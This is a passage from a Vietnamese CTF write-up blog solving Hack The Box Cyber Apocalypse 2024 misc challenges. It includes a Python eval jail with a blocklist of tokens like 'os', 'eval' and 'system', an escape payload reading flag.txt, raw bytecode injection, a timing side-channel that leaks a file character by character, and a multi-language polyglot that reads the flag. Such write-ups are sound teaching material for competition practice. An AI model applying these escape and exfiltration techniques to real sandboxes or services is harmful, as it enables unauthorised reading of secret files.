⠀⠀⠙⠻⣦⡀⠈⠛⠆⠀⠀⠀⣠⣤⡤⠀⠿⣤⣀⡙⠢⠀⠀⠈⠙⠃⣠⣤⠾⠓⠛⠛⢿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⡴⠞⠁⢀⣠⣤⠖⢛⣿⠉⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠈⠙⢷⣤⡁⠀⣴⠞⠁⠀⠀⠀⠀⠈⠙⠿⣷⣄⣀⣠⠶⠞⠋⠀⠀⠀⠀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠶⠞⠋⠁⠀⢀⣾⠟⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠉⠻⣷⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⢙⣧⡉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣤⣀⣀⠀⠀⠈⠂⢀⣤⠾⠋⠀⠀⠀⠀⠀⣠⡾⠃⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⢀⣠⠎⣠⡾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⠀⣦⠀⠀⠀⠀⠀⠀⠀⣿⣇⢠⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠤⢐⣯⣶⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣄⠸⣆⠀⠀⠲⣆⠀⠀⢸⣿⣶⣮⣉⡙⠓⠒⠒⠒⠒⠒⠈⠉⠁⠀⠀⠀⠀⠀⢀⣶⣶⡿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠷⠾⠷⣦⣾⠟⠻⠟⠛⠁⠀⠈⠛⠛⢿⣶⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⣨⣾⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠙⠛⠛⠛⠻⠿⠿⠿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
'''</span>

blacklist = [ <span class="hljs-string">';'</span>, <span class="hljs-string">'"'</span>, <span class="hljs-string">'os'</span>, <span class="hljs-string">'_'</span>, <span class="hljs-string">'\\'</span>, <span class="hljs-string">'/'</span>, <span class="hljs-string">'`'</span>,
              <span class="hljs-string">' '</span>, <span class="hljs-string">'-'</span>, <span class="hljs-string">'!'</span>, <span class="hljs-string">'['</span>, <span class="hljs-string">']'</span>, <span class="hljs-string">'*'</span>, <span class="hljs-string">'import'</span>,
              <span class="hljs-string">'eval'</span>, <span class="hljs-string">'banner'</span>, <span class="hljs-string">'echo'</span>, <span class="hljs-string">'cat'</span>, <span class="hljs-string">'%'</span>, 
              <span class="hljs-string">'&amp;'</span>, <span class="hljs-string">'&gt;'</span>, <span class="hljs-string">'&lt;'</span>, <span class="hljs-string">'+'</span>, <span class="hljs-string">'1'</span>, <span class="hljs-string">'2'</span>, <span class="hljs-string">'3'</span>, <span class="hljs-string">'4'</span>,
              <span class="hljs-string">'5'</span>, <span class="hljs-string">'6'</span>, <span class="hljs-string">'7'</span>, <span class="hljs-string">'8'</span>, <span class="hljs-string">'9'</span>, <span class="hljs-string">'0'</span>, <span class="hljs-string">'b'</span>, <span class="hljs-string">'s'</span>, 
              <span class="hljs-string">'lower'</span>, <span class="hljs-string">'upper'</span>, <span class="hljs-string">'system'</span>, <span class="hljs-string">'}'</span>, <span class="hljs-string">'{'</span> ]

<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
  ans = input(<span class="hljs-string">'Break me, shake me!\n\n$ '</span>).strip()

  <span class="hljs-keyword">if</span> any(char <span class="hljs-keyword">in</span> ans <span class="hljs-keyword">for</span> char <span class="hljs-keyword">in</span> blacklist):
    print(<span class="hljs-string">f'\n<span class="hljs-subst">{banner1}</span>\nNaughty naughty..\n'</span>)
  <span class="hljs-keyword">else</span>:
    <span class="hljs-keyword">try</span>:
      eval(ans + <span class="hljs-string">'()'</span>)
      print(<span class="hljs-string">'WHAT WAS THAT?!\n'</span>)
    <span class="hljs-keyword">except</span>:
      print(<span class="hljs-string">f"\n<span class="hljs-subst">{banner2}</span>\nI'm UNBREAKABLE!\n"</span>)
</code></pre>
<p>Hàm <code>eval()</code> là hàm sẽ thực thi những câu lệnh python mà ta viết trong đó dưới dạng str. Nhưng những str ta nhập phải vượt qua black list chặn rất nhiều những ký tự và hàm quan trọng. Ta đã biết rằng flag được chứa trong file "flag.txt" nên bây giờ ta cần gửi một đoạn code có thể mở file đó và in ra cho chúng ta flag mà hàm <code>open()</code> và <code>print()</code> đều thỏa mãn backlist nên dùng nó gửi đi là có được flag.</p>
<pre><code class="lang-py"><span class="hljs-comment"># nc </span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>() -&gt; <span class="hljs-keyword">None</span>:</span>

    s = remote(<span class="hljs-string">"83.136.252.194"</span>, <span class="hljs-number">45881</span>)

    print(s.recvuntil(<span class="hljs-string">b"\n\n"</span>).decode())
    s.sendline(<span class="hljs-string">b"print(open('flag.txt','r').read())#"</span>)
    print(s.recvuntil(<span class="hljs-string">b'}'</span>).decode())

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<h2 id="heading-stop-drop-and-roll">Stop Drop and Roll</h2>
<p><strong><em>credit: MinhFanBoy</em></strong></p>
<p><strong><em>SOURCE:</em></strong></p>
<pre><code class="lang-py"><span class="hljs-keyword">import</span> random

CHOICES = [<span class="hljs-string">"GORGE"</span>, <span class="hljs-string">"PHREAK"</span>, <span class="hljs-string">"FIRE"</span>]

print(<span class="hljs-string">"===== THE FRAY: THE VIDEO GAME ====="</span>)
print(<span class="hljs-string">"Welcome!"</span>)
print(<span class="hljs-string">"This video game is very simple"</span>)
print(<span class="hljs-string">"You are a competitor in The Fray, running the GAUNTLET"</span>)
print(<span class="hljs-string">"I will give you one of three scenarios: GORGE, PHREAK or FIRE"</span>)
print(<span class="hljs-string">"You have to tell me if I need to STOP, DROP or ROLL"</span>)
print(<span class="hljs-string">"If I tell you there's a GORGE, you send back STOP"</span>)
print(<span class="hljs-string">"If I tell you there's a PHREAK, you send back DROP"</span>)
print(<span class="hljs-string">"If I tell you there's a FIRE, you send back ROLL"</span>)
print(<span class="hljs-string">"Sometimes, I will send back more than one! Like this: "</span>)
print(<span class="hljs-string">"GORGE, FIRE, PHREAK"</span>)
print(<span class="hljs-string">"In this case, you need to send back STOP-ROLL-DROP!"</span>)

ready = input(<span class="hljs-string">"Are you ready? (y/n) "</span>)

<span class="hljs-keyword">if</span> ready.lower() != <span class="hljs-string">"y"</span>:
    print(<span class="hljs-string">"That's a shame!"</span>)
    exit(<span class="hljs-number">0</span>)

print(<span class="hljs-string">"Ok then! Let's go!"</span>)

count = <span class="hljs-number">0</span>
tasks = []

<span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">500</span>):
    tasks = []
    count = random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">5</span>)

    <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(count):
        tasks.append(random.choice(CHOICES))

    print(<span class="hljs-string">', '</span>.join(tasks))

    result = input(<span class="hljs-string">"What do you do? "</span>)
    correct_result = <span class="hljs-string">"-"</span>.join(tasks).replace(<span class="hljs-string">"GORGE"</span>, <span class="hljs-string">"STOP"</span>).replace(<span class="hljs-string">"PHREAK"</span>, <span class="hljs-string">"DROP"</span>).replace(<span class="hljs-string">"FIRE"</span>, <span class="hljs-string">"ROLL"</span>)

    <span class="hljs-keyword">if</span> result != correct_result:
        print(<span class="hljs-string">"Unfortunate! You died!"</span>)
        exit(<span class="hljs-number">0</span>)

print(<span class="hljs-string">f"Fantastic work! The flag is <span class="hljs-subst">{FLAG}</span>"</span>)
</code></pre>
<p>Bài này cũng không có gì ta chỉ cần nhận vào một list rồi gửi lại một list khác với các giá trị tương ứng là được. Đề bài cho ta một chuỗi các sữ kiện như GORGE, PHREAK và FIRE và ta cần phải gửi lại sao cho thỏa mãn</p>
<pre><code class="lang-py">print(<span class="hljs-string">"If I tell you there's a GORGE, you send back STOP"</span>)
print(<span class="hljs-string">"If I tell you there's a PHREAK, you send back DROP"</span>)
print(<span class="hljs-string">"If I tell you there's a FIRE, you send back ROLL"</span>)
</code></pre>
<p>nên mình viết một đoạn code đơn giản thay thế các ký tự bằng ký tự thay thế là xong.</p>
<pre><code class="lang-py"><span class="hljs-comment"># nc 83.136.251.232 58416</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>() -&gt; <span class="hljs-keyword">None</span>:</span>

    s = remote(<span class="hljs-string">"83.136.251.232"</span>, <span class="hljs-number">58416</span>)

    s.sendlineafter(<span class="hljs-string">b'(y/n) '</span>, <span class="hljs-string">b'y'</span>)
    s.recvline()

    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
        recv = s.recvlineS().strip()
        print(recv)

        result = recv.replace(<span class="hljs-string">", "</span>, <span class="hljs-string">"-"</span>)
        result = result.replace(<span class="hljs-string">"GORGE"</span>, <span class="hljs-string">"STOP"</span>)
        result = result.replace(<span class="hljs-string">"PHREAK"</span>, <span class="hljs-string">"DROP"</span>)
        result = result.replace(<span class="hljs-string">"FIRE"</span>, <span class="hljs-string">"ROLL"</span>)

        s.sendlineafter(<span class="hljs-string">b'do? '</span>, result.encode())


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<h2 id="heading-cubicle-riddle">Cubicle Riddle</h2>
<p><strong><em>credit: MinhFanBoy</em></strong></p>
<p><strong><em>SOURCE:</em></strong></p>
<p><a target="_blank" href="https://github.com/hackthebox/cyber-apocalypse-2024/blob/main/misc/%5BEasy%5D%20Cubicle%20Riddle/release/misc_cubicle_riddle.zip">here</a> :v</p>
<hr />
<p>Bài này có mấu chốt chủ yếu là ở phần này:</p>
<pre><code class="lang-py">
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_construct_answer</span>(<span class="hljs-params">self, answer: bytes</span>) -&gt; types.CodeType:</span>
        co_code: bytearray = bytearray(self.co_code_start)
        co_code.extend(answer)
        co_code.extend(self.co_code_end)
        code_obj: types.CodeType = types.CodeType(
            <span class="hljs-number">1</span>,
            <span class="hljs-number">0</span>,
            <span class="hljs-number">0</span>,
            <span class="hljs-number">4</span>,
            <span class="hljs-number">3</span>,
            <span class="hljs-number">3</span>,
            bytes(co_code),
            (<span class="hljs-literal">None</span>, self.max_int, self.min_int),
            (),
            (<span class="hljs-string">"num_list"</span>, <span class="hljs-string">"min"</span>, <span class="hljs-string">"max"</span>, <span class="hljs-string">"num"</span>),
            __file__,
            <span class="hljs-string">"_answer_func"</span>,
            <span class="hljs-string">"_answer_func"</span>,
            <span class="hljs-number">1</span>,
            <span class="hljs-string">b""</span>,
            <span class="hljs-string">b""</span>,
            (),
            (),
        )
</code></pre>
<p>Mình có thể gửi một đoạn bytes vào phần co_de. Chúng ta cần chú ý đến một vài phần sau:</p>
<ul>
<li><p>codeobject.co_consts là mảng tuple chứa các giá trị của hàm, ở trong trường hợp này là (None, self.max_int, self.min_int)</p>
</li>
<li><p>codeobject.co_varnames là mảng gồm tên của các biến trong hàm, ở trong trường hợp này là ("num_list", "min", "max", "num")</p>
</li>
<li><p>codeobject.co_code đây là phần quan trong nhất, là một chuỗi byte biểu thị chuỗi hướng dẫn mã byte trong hàm.</p>
</li>
</ul>
<p>Từ đó chúng ta có thể gán giá trị của một số nào đó cho min, max rồi có thể trả nó về. Trong python có hỗ trợ thư viện <a target="_blank" href="https://unpyc.sourceforge.net/Opcodes.html">này</a> giúp chuyển hàm thành dạng code.</p>
<p>Tổng hợp tất cả các thông tin đã có như sau: ta viết một hàm tìm ra giá trị lớn nhất, nhỏ nhất của <code>nums_list</code> rồi lưu lại vào biến min, max đã có sẵn, sau đó chuyển nó thành dạng bytes và gửi nó đi là ta thành công có được flag.</p>
<pre><code class="lang-py"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_answer_func</span>(<span class="hljs-params">num_list: int</span>):</span>
    min: int = <span class="hljs-number">1000</span>
    max: int = <span class="hljs-number">-1000</span>
    <span class="hljs-keyword">for</span> num <span class="hljs-keyword">in</span> num_list:
        <span class="hljs-keyword">if</span> num &lt; min:
            min = num
        <span class="hljs-keyword">if</span> num &gt; max:
            max = num
    <span class="hljs-keyword">return</span> (min, max)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>() -&gt; <span class="hljs-keyword">None</span>:</span>
    s = remote(<span class="hljs-string">"94.237.54.30"</span>, <span class="hljs-number">56070</span>)
    ans: bytes = _answer_func.__code__.co_code
    ans = <span class="hljs-string">","</span>.join([str(x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> ans])
    print(ans)

    print(s.recvuntil(<span class="hljs-string">b"(Choose wisely) &gt; "</span>).decode())
    s.sendline(<span class="hljs-string">b"1"</span>)
    print(s.recvuntil(<span class="hljs-string">b"(Answer wisely) &gt;"</span>).decode())
    s.sendline(ans.encode())
    print(s.recvuntil(<span class="hljs-string">b"}"</span>).decode())
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<h2 id="heading-multidigilingual">MultiDigilingual</h2>
<p><strong><em>credit: MinhFanBoy</em></strong></p>
<p><strong><em>TASK:</em></strong></p>
<pre><code class="lang-py">****************************************
*   How many languages can you talk?   *
*        Pass a program that<span class="hljs-string">'s         *
*   all of the below that just reads   *
*      the file `flag.txt` to win      *
*          and pass the test.          *
*                                      *
*              Languages:              *
*               * Python3              *
*               * Perl                 *
*               * Ruby                 *
*               * PHP8                 *
*               * C                    *
*               * C++                  *
*                                      *
*   Succeed in this and you will be    *
*               rewarded!              *
****************************************

Enter the program of many languages (input in base64):</span>
</code></pre>
<p>Bài này khá là hay. Có thể giải theo cách timming attack. Đề bài yêu cầu ta phải nhập vào một program có thể chạy được nhiều ngôn ngữ để đọc file, máy chủ sẽ chạy file đó qua từng ngôn ngữ khác nhau cho tới khi thỏa mãn hết sẽ in ra flag. Nhưng việc code như vậy sẽ khá tốn công nên lợi dụng việc chương trình chạy code mà ta gửi để có thể lợi dựng điều đó để chạy một vài hàm leak ra thông tin gì đó về flag (ở đây nó leak ra dưới dạng thời gian phản hồi).</p>
<p>Khi ta gửi chương trình này:</p>
<pre><code class="lang-py"><span class="hljs-keyword">import</span> time
flag = open(<span class="hljs-string">'flag.txt'</span>, <span class="hljs-string">'r'</span>).read()
time.sleep(ord(flag[{i}]) / <span class="hljs-number">10</span>)
</code></pre>
<p>Máy chủ sẽ chạy nó, trong khi nó vẫn thỏa mãn yêu cầu của sever và cũng leak cho chúng ta thông tin thêm về flag.</p>
<p>Từ đó, ta gửi yêu cầu nhiều lần lên lên máy chủ, mỗi lần đọc từng ký tự của flag khi đó chương trình sẽ tạm dừng chương trình một khoảng thời gian đúng bằng (ord(flag) / 10) nên ta tính toán khoảng thời gian chênh lệch là ta có flag (trong đoạn code có bị trừ đi cho 2 là do một vài yếu tố mội trường như tốc độ mang, máy tính ảnh hưởng tới thời gian)</p>
<pre><code class="lang-py">
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">from</span> base64 <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>() -&gt; <span class="hljs-keyword">None</span>:</span>

    flag = <span class="hljs-string">""</span>

    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">100</span>):

        code = <span class="hljs-string">f"""
import time
flag = open('flag.txt', 'r').read()
time.sleep(ord(flag[<span class="hljs-subst">{i}</span>]) / 10)
"""</span>
        s = remote(<span class="hljs-string">"94.237.63.93"</span>, <span class="hljs-number">38070</span>)

        s.recvuntil(<span class="hljs-string">b'Enter the program of many languages: '</span>)
        start = time.time()
        s.sendline(b64encode(code.encode()))
        s.recvuntil(<span class="hljs-string">b'[+] Completed. Checking output'</span>)
        end = time.time()

        flag += chr(int((end - start)* <span class="hljs-number">10</span>) - <span class="hljs-number">2</span>)
        print(flag)

        s.close()

        <span class="hljs-keyword">if</span> flag[<span class="hljs-number">-1</span>] == <span class="hljs-string">"}"</span>:
            <span class="hljs-keyword">break</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<p>Một cách khá cũng khá hay mình tham khảo trên mạng. Mình viết một file thỏa mãn tất cả các ngôn ngữ ở trên.</p>
<pre><code class="lang-py"><span class="hljs-comment">#include/*</span>
<span class="hljs-comment">#&lt;?php eval('echo file_get_contents("flag.txt", true);')?&gt;</span>
q=<span class="hljs-string">"""*/&lt;stdio.h&gt;
int main() {char s[500];fgets(s, 500, fopen((const char[]){'f','l','a','g','.','t','x','t','\x00'}, (const char[]){'r', '\x00'})); {puts(s);}if(1);
    else    {}} /*=;
open(my $file, 'flag.txt');print(&lt;$file&gt;)#";print(puts File.read('flag.txt'));#"""</span>;print(open(<span class="hljs-string">'flag.txt'</span>).read())<span class="hljs-comment">#*/</span>
</code></pre>
<h2 id="heading-coloredsquares">colored_squares</h2>
<p><strong><em>credit: MinhFanBoy</em></strong></p>
<p><strong><em>SOURCE:</em></strong></p>
<p><a target="_blank" href="https://esolangs.org/wiki/Folders">here</a></p>
<hr />
<p>Khi mở file này ra ta thấy đâ gồm rất nhiều file (hơn 3000) và bên trong hầu như trống và không có nhiều ký tự.</p>
<p>Sau một hồi loai hoay tìm hiểu thì mình nhận ra đây là một kiểu script tương tự như brainfuck. Nền lên mạng thì tìm thấy thư viện <a target="_blank" href="https://github.com/SinaKhalili/Folders.py">này</a> có thể chuyển nó về file python. Đây là code sau khi mình đã chuyển.</p>
<pre><code class="lang-py">print(<span class="hljs-string">"Enter the flag in decimal (one character per line) :\n"</span>, end=<span class="hljs-string">''</span>, flush=<span class="hljs-literal">True</span>)
var_0 = input()
<span class="hljs-keyword">if</span> var_0.isdigit():
    var_0 = int(var_0)
<span class="hljs-keyword">else</span>:
    var_0 = var_0
var_1 = input()
<span class="hljs-keyword">if</span> var_1.isdigit():
    var_1 = int(var_1)
<span class="hljs-keyword">else</span>:
    var_1 = var_1
var_2 = input()
<span class="hljs-keyword">if</span> var_2.isdigit():
    var_2 = int(var_2)
<span class="hljs-keyword">else</span>:
    var_2 = var_2
var_3 = input()
<span class="hljs-keyword">if</span> var_3.isdigit():
    var_3 = int(var_3)
<span class="hljs-keyword">else</span>:
    var_3 = var_3
var_4 = input()
<span class="hljs-keyword">if</span> var_4.isdigit():
    var_4 = int(var_4)
<span class="hljs-keyword">else</span>:
    var_4 = var_4
var_5 = input()
<span class="hljs-keyword">if</span> var_5.isdigit():
    var_5 = int(var_5)
<span class="hljs-keyword">else</span>:
    var_5 = var_5
var_6 = input()
<span class="hljs-keyword">if</span> var_6.isdigit():
    var_6 = int(var_6)
<span class="hljs-keyword">else</span>:
    var_6 = var_6
var_7 = input()
<span class="hljs-keyword">if</span> var_7.isdigit():
    var_7 = int(var_7)
<span class="hljs-keyword">else</span>:
    var_7 = var_7
var_8 = input()
<span class="hljs-keyword">if</span> var_8.isdigit():
    var_8 = int(var_8)
<span class="hljs-keyword">else</span>:
    var_8 = var_8
var_9 = input()
<span class="hljs-keyword">if</span> var_9.isdigit():
    var_9 = int(var_9)
<span class="hljs-keyword">else</span>:
    var_9 = var_9
var_10 = input()
<span class="hljs-keyword">if</span> var_10.isdigit():
    var_10 = int(var_10)
<span class="hljs-keyword">else</span>:
    var_10 = var_10
var_11 = input()
<span class="hljs-keyword">if</span> var_11.isdigit():
    var_11 = int(var_11)
<span class="hljs-keyword">else</span>:
    var_11 = var_11
var_12 = input()
<span class="hljs-keyword">if</span> var_12.isdigit():
    var_12 = int(var_12)
<span class="hljs-keyword">else</span>:
    var_12 = var_12
var_13 = input()
<span class="hljs-keyword">if</span> var_13.isdigit():
    var_13 = int(var_13)
<span class="hljs-keyword">else</span>:
    var_13 = var_13
var_14 = input()
<span class="hljs-keyword">if</span> var_14.isdigit():
    var_14 = int(var_14)
<span class="hljs-keyword">else</span>:
    var_14 = var_14
var_15 = input()
<span class="hljs-keyword">if</span> var_15.isdigit():
    var_15 = int(var_15)
<span class="hljs-keyword">else</span>:
    var_15 = var_15
var_16 = input()
<span class="hljs-keyword">if</span> var_16.isdigit():
    var_16 = int(var_16)
<span class="hljs-keyword">else</span>:
    var_16 = var_16
var_17 = input()
<span class="hljs-keyword">if</span> var_17.isdigit():
    var_17 = int(var_17)
<span class="hljs-keyword">else</span>:
    var_17 = var_17
var_18 = input()
<span class="hljs-keyword">if</span> var_18.isdigit():
    var_18 = int(var_18)
<span class="hljs-keyword">else</span>:
    var_18 = var_18
var_19 = input()
<span class="hljs-keyword">if</span> var_19.isdigit():
    var_19 = int(var_19)
<span class="hljs-keyword">else</span>:
    var_19 = var_19
var_20 = input()
<span class="hljs-keyword">if</span> var_20.isdigit():
    var_20 = int(var_20)
<span class="hljs-keyword">else</span>:
    var_20 = var_20
var_21 = input()
<span class="hljs-keyword">if</span> var_21.isdigit():
    var_21 = int(var_21)
<span class="hljs-keyword">else</span>:
    var_21 = var_21
<span class="hljs-keyword">if</span> (((var_7) - (var_18)) == ((var_8) - (var_9))):
    <span class="hljs-keyword">if</span> (((var_6) + (var_10)) == (((var_16) + (var_20)) + (<span class="hljs-number">12</span>))):
        <span class="hljs-keyword">if</span> (((var_8) * (var_14)) == (((var_13) * (var_18)) * (<span class="hljs-number">2</span>))):
            <span class="hljs-keyword">if</span> ((var_19) == (var_6)):
                <span class="hljs-keyword">if</span> (((var_9) + (<span class="hljs-number">1</span>)) == ((var_17) - (<span class="hljs-number">1</span>))):
                    <span class="hljs-keyword">if</span> (((var_11) / ((var_5) + (<span class="hljs-number">7</span>))) == (<span class="hljs-number">2</span>)):
                        <span class="hljs-keyword">if</span> (((var_5) + ((var_2) / (<span class="hljs-number">2</span>))) == (var_1)):
                            <span class="hljs-keyword">if</span> (((var_16) - (<span class="hljs-number">9</span>)) == ((var_13) + (<span class="hljs-number">4</span>))):
                                <span class="hljs-keyword">if</span> (((var_12) / (<span class="hljs-number">3</span>)) == (<span class="hljs-number">17</span>)):
                                    <span class="hljs-keyword">if</span> ((((var_4) - (var_5)) + (var_12)) == ((var_14) + (<span class="hljs-number">20</span>))):
                                        <span class="hljs-keyword">if</span> ((((var_12) * (var_15)) / (var_14)) == (<span class="hljs-number">24</span>)):
                                            <span class="hljs-keyword">if</span> ((var_18) == ((<span class="hljs-number">173</span>) - (var_4))):
                                                <span class="hljs-keyword">if</span> ((var_6) == ((<span class="hljs-number">63</span>) + (var_5))):
                                                    <span class="hljs-keyword">if</span> (((<span class="hljs-number">32</span>) * (var_16)) == ((var_7) * (var_0))):
                                                        <span class="hljs-keyword">if</span> ((<span class="hljs-number">125</span>) == (var_21)):
                                                            <span class="hljs-keyword">if</span> (((var_3) - (var_2)) == (<span class="hljs-number">57</span>)):
                                                                <span class="hljs-keyword">if</span> (((var_17) - (var_15)) == ((var_18) + (<span class="hljs-number">1</span>))):
                                                                    print(<span class="hljs-string">"Good job! :)"</span>, end=<span class="hljs-string">''</span>, flush=<span class="hljs-literal">True</span>)
</code></pre>
<p>Mình được một đoạn code khác dung để check flag. Thấy flag có 22 ký tự và các ký tự thỏa mãn với nhau theo các điều kiện trong hàm if nên từ đó ta có 22 ẩn và rất nhiều phương trình. Sử dụng các điều kiện ở trên với điều kiện các ký tự kia thuộc ascii và ta có thể đọc được nên ta gán khoảng giá trị cho nó <code>44 &lt; x &lt; 125</code>, ngoài ra ta cũng có flag form là <code>HTB{..}</code> tương ứng với các vị trí trong flag nên ta cũng sử dụng nó để tính. Và đây là code (gần) của mình. Từ đó mình có hướng dử dụng <code>z3</code> để giải hệ phương trình 22 ấn. Nhưng sau khi chạy script xong thì vẫn còn một vài chỗ trong flag bị sai nên mình phải đoán flag một chút.</p>
<pre><code class="lang-py">

<span class="hljs-keyword">from</span> z3 <span class="hljs-keyword">import</span> *

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>() -&gt; <span class="hljs-keyword">None</span>:</span>

    flag: BitVecs = BitVecs(<span class="hljs-string">'v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21'</span>, <span class="hljs-number">8</span>)

    s = Solver()

    s.add(flag[<span class="hljs-number">7</span>] - flag[<span class="hljs-number">18</span>] == flag[<span class="hljs-number">8</span>] - flag[<span class="hljs-number">9</span>])
    s.add(flag[<span class="hljs-number">6</span>] + flag[<span class="hljs-number">10</span>] == flag[<span class="hljs-number">16</span>] + flag[<span class="hljs-number">20</span>] + <span class="hljs-number">12</span>)
    s.add(flag[<span class="hljs-number">8</span>] * flag[<span class="hljs-number">14</span>] == <span class="hljs-number">2</span> * flag[<span class="hljs-number">18</span>] * flag[<span class="hljs-number">13</span>])
    s.add(flag[<span class="hljs-number">19</span>] == flag[<span class="hljs-number">6</span>])
    s.add(flag[<span class="hljs-number">9</span>] + <span class="hljs-number">1</span> == flag[<span class="hljs-number">17</span>] - <span class="hljs-number">1</span>)
    s.add(flag[<span class="hljs-number">11</span>] == <span class="hljs-number">2</span> * (flag[<span class="hljs-number">5</span>] + <span class="hljs-number">7</span>))
    s.add(flag[<span class="hljs-number">5</span>] + flag[<span class="hljs-number">2</span>]/<span class="hljs-number">2</span> == flag[<span class="hljs-number">1</span>])
    s.add(flag[<span class="hljs-number">16</span>] - <span class="hljs-number">9</span> == flag[<span class="hljs-number">13</span>] + <span class="hljs-number">4</span>)
    s.add(flag[<span class="hljs-number">12</span>] == <span class="hljs-number">17</span> * <span class="hljs-number">3</span>)
    s.add(flag[<span class="hljs-number">4</span>] - flag[<span class="hljs-number">5</span>] + flag[<span class="hljs-number">12</span>] == flag[<span class="hljs-number">14</span>] + <span class="hljs-number">20</span>)
    s.add(flag[<span class="hljs-number">12</span>] * flag[<span class="hljs-number">15</span>] == <span class="hljs-number">24</span> * flag[<span class="hljs-number">14</span>])
    s.add(flag[<span class="hljs-number">18</span>] + flag[<span class="hljs-number">4</span>] == <span class="hljs-number">173</span>)
    s.add(flag[<span class="hljs-number">6</span>] == flag[<span class="hljs-number">5</span>] + <span class="hljs-number">63</span>)
    s.add(flag[<span class="hljs-number">16</span>] * <span class="hljs-number">32</span> == flag[<span class="hljs-number">0</span>] * flag[<span class="hljs-number">7</span>])
    s.add(flag[<span class="hljs-number">21</span>] == <span class="hljs-number">125</span>)
    s.add(flag[<span class="hljs-number">3</span>] - flag[<span class="hljs-number">2</span>] == <span class="hljs-number">57</span>)
    s.add(flag[<span class="hljs-number">17</span>] - flag[<span class="hljs-number">15</span>] == flag[<span class="hljs-number">18</span>] + <span class="hljs-number">1</span>)

    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(flag)):
        s.add(flag[i] &gt;= <span class="hljs-number">48</span>)
        s.add(flag[i] &lt;= <span class="hljs-number">125</span>)

    s.add(flag[<span class="hljs-number">0</span>] == ord(<span class="hljs-string">'H'</span>))
    s.add(flag[<span class="hljs-number">1</span>] == ord(<span class="hljs-string">'T'</span>))
    s.add(flag[<span class="hljs-number">2</span>] == ord(<span class="hljs-string">'B'</span>))
    s.add(flag[<span class="hljs-number">3</span>] == ord(<span class="hljs-string">'{'</span>))
    s.add(flag[<span class="hljs-number">21</span>] == ord(<span class="hljs-string">'}'</span>))

    <span class="hljs-keyword">if</span> s.check() == sat:
        m = s.model()
        <span class="hljs-keyword">for</span> v <span class="hljs-keyword">in</span> flag:
           print(chr(m[v].as_long()), end=<span class="hljs-string">""</span>, flush=<span class="hljs-literal">True</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
]]></content:encoded></item><item><title><![CDATA[TetCTF 2024 Write Up]]></title><description><![CDATA[Web
Hello from API GW (100)
credit: endy

Bài này là một bài về cloud, lần đầu mình tiếp xúc với dạng này nên còn gà và chưa thể tự mình solved được
